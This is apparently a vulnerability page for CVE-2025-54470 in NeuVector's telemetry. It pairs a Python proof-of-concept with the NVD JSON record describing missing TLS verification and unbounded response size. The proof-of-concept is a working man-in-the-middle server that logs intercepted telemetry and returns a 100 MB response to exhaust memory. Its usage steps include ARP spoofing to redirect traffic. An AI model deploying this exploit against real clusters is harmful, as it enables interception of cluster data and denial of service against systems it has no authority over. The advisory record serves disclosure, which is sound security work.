CVE-2025-54470

# CVE-2025-54470 PoC - MITM Attack on NeuVector Telemetry # This PoC demonstrates TLS verification bypass in NeuVector telemetry import socket import ssl import threading from http.server import HTTPServer, BaseHTTPRequestHandler class TelemetryMITMHandler(BaseHTTPRequestHandler): def do_POST(self): # Log intercepted telemetry data content_length = int(self.headers.get('Content-Length', 0)) post_data = self.rfile.read(content_length) print(f"[+] Intercepted telemetry data: {len(post_data)} bytes") # Send oversized response for DoS oversized_response = b'X' * (100 * 1024 * 1024) # 100MB response self.send_response(200) self.send_header('Content-Type', 'application/json') self.send_header('Content-Length', str(len(oversized_response))) self.end_headers() self.wfile.write(oversized_response) def log_message(self, format, *args): pass def start_mitm_proxy(listen_port=8443): server = HTTPServer(('0.0.0.0', listen_port), TelemetryMITMHandler) print(f"[*] MITM proxy listening on port {listen_port}") server.serve_forever() # Usage: # 1. Position attacker machine in network path to telemetry server # 2. Redirect traffic to this MITM proxy (via ARP spoofing, etc.) # 3. NeuVector will send telemetry without TLS verification

{"cve": {"id": "CVE-2025-54470", "sourceIdentifier": "[email protected]", "published": "2025-10-30T10:15:35.257", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability affects NeuVector deployments only when the Report anonymous cluster data option is enabled. When this option is enabled, NeuVector sends anonymous telemetry data to the telemetry server.\n\n\nIn affected versions, NeuVector does not enforce TLS \ncertificate verification when transmitting anonymous cluster data to the\n telemetry server. As a result, the communication channel is susceptible\n to man-in-the-middle (MITM) attacks, where an attacker could intercept \nor modify the transmitted data. Additionally, NeuVector loads the \nresponse of the telemetry server is loaded into memory without size \nlimitation, which makes it vulnerable to a Denial of Service(DoS) \nattack"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-54470", "source": "[email protected]"}, {"url": "https://github.com/neuvector/neuvector/security/advisories/GHSA-qqj3-g7mx-5p4w", "source": "[email protected]"}]}}